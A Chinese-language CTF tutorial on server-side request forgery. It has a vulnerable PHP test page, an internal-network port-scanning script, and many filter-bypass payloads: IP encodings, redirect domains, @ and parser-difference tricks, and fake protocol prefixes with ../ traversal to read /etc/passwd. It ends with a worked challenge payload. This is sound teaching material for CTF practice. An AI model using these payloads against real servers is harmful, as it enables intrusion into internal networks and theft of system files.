SSRF在CTF中的应用
SSRF
SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
测试代码
<?php
highlight_file(__FILE__);
function curl($url)
{
//创建一个新的curl资源
$ch = curl_init();
//设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
//抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭curl资源,并且释放系统资源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
前言
有关SSRF(Server-Side Request Forgery:服务器端请求伪造)介绍的文章很多了,这里主要是把自己学习和打ctf中遇到的一些trick和用法整理和记录一下。
有个最基本的问题就是,如何判断ctf题目是考察SSRF或者说存在SSRF的点呢,首先要知道出现ssrf的函数基本就这几个file_get_contents()、curl()、fsocksopen()、fopen(),如果获取到题目源码了,源码中存在这些个函数就大致可以判断是否有ssrf,如果没有题目的源码,ssrf的入口一般是出现在调用外部资源的地方,比如url有个参数让你传或者是在html中的输入框,然后就用http://,file://,dict://协议读取一下。
内网探测
# -*- coding: utf-8 -*-
import requests
import time
ports = ['80','6379','3306','8080','8000']
session = requests.Session();
for i in range(1, 255):
ip = '192.168.0.%d' % i #内网ip地址
for port in ports:
url = 'http://ip/?url=http://%s:%s' %(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.text) != 0 : #这里长度根据实际情况改
print(ip,port,'is open')
except:
continue
print('Done')
这里给出一个探测内网脚本,当然也可以用bp进行内网探测
SSRF中的bypass
在ctf中,有时候会ban一些指定的ip,比如127.0.0.1,有时候是检查一整段127.0.0.1,或者是通过正则去匹配逐个字符,这里介绍一下如何去绕过这些WAF。
- 302跳转
有一个网站地址是:http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问:http://127.0.0.1.xip.io/1.php,实际上访问的是http://127.0.0.1/1.php。
像这种网址还有http://nip.io,http://sslip.io。
如果php后端只是用parse_url函数中的host参数判断是否等于127.0.0.1,就可以用这种方法绕过,但是如果是检查是否存在关键字127.0.0.1,这种方法就不可行了,这里介绍第二种302方法。
短地址跳转绕过,这里也给出一个网址http://4m.cn
直接用https://4m.cn/FjOdQ就就会302跳转,这样就可以绕过WAF了。
302跳转可以过例如开头为http的waf,这样就可以file://读文件了
- 进制的转换
可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个php脚本可以一键转换。
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
注意八进制ip前要加上一个0,其中八进制前面的0可以为多个,十六进制前要加上一个0x。
- 利用DNS解析
如果你自己有域名的话,可以在域名上设置A记录,指向127.0.0.1。
- 利用@绕过
http://www.baidu.com@127.0.0.1与http://127.0.0.1请求是相同的。
- 其他各种指向127.0.0.1的地址
1. http://localhost/
2. http://0/
3. http://[0:0:0:0:0:ffff:127.0.0.1]/
4. http://[::]:80/
5. http://127。0。0。1/
6. http://①②⑦.⓪.⓪.①
7. http://127.1/
8. http://127.00000.00000.001/
第1行localhost就是代指127.0.0.1
第2行中0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
第3行指向127.0.0.1,在liunx下可用,window测试了下不行
第4行指向127.0.0.1,在liunx下可用,window测试了下不行
第5行用中文句号绕过
第6行用的是Enclosed alphanumerics方法绕过,英文字母以及其他一些可以网上找找
第7.8行中0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
不存在协议头绕过
有关file_get_contents()函数的一个trick,可以看作是SSRF的一个黑魔法,当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。
例子:
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['a'])){
die("no hack");
}
echo file_get_contents($_GET['a']);
?>
此处限制我们只能读https开头的路径,但利用这个特性我们可以构造:
httpsssss://
配合目录回退读取文件的两种方式:
只要开头是https就行
这里把httpsssss当作一个目录解析 再回退回去
httpsx://../../../../../../etc/passwd
httpsssss://abc../../../../../../etc/passwd
这样做的目的就是可以在SSRF的众多协议被ban的情况下来进行读取文件。
在ctf.show月饼杯的web2_故人心就遇到这个点。
UNCTF的签到题也是用的这个点
- readfile和parse_url解析差异
绕过端口:
我们在phpstudy中写下ssrf.php
<?php
$url = 'http://'. $_GET['url'];
$parsed = parse_url($url);
if ($parsed['port'] == 80) {
readfile($url);
} else {
die('You Shall Not Pass');
}
并在使用python在另一个端口起一个服务
在ssrf.php中代码限制parse_url中的port只能等于80,如果我们需要用readfile去读其他端口的文件的话,可以用如下绕过:
http://127.0.0.1/ssrf.php?url=127.0.0.1:11211:80/1.txt
可以看到成功读取了11211端口中的1.txt文件,这里借用blackhat的一张图。
可以看出readfile函数获取的端口是前面一部分的,而parse_url则是最后冒号的端口,利用这种差异的不同,从而绕过WAF。
这两个函数在解析host的时候也有差异,如下图
- curl和parse_url解析差异
从图中可以看到curl解析的是第一个@后面的网址,而parse_url解析的是第二个@的网址。
在极客大挑战有一道题就考了这个点,源码如下:
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
可以看到check_inner_ip 通过 url_parse 检测是否为内网ip,如果满足不是内网 ip ,通过 curl 请求 url 返回结果,这题就可以利用curl和parse_url解析的差异不同来绕过,让 parse_url 处理外部网站,最后 curl 请求内网网址。
最后的payload为
http://ip/challenge.php?url=http://@127.0.0.1:80%20@www.baidu.com/flag.php
Redis未授权访问
放在另一篇文章里了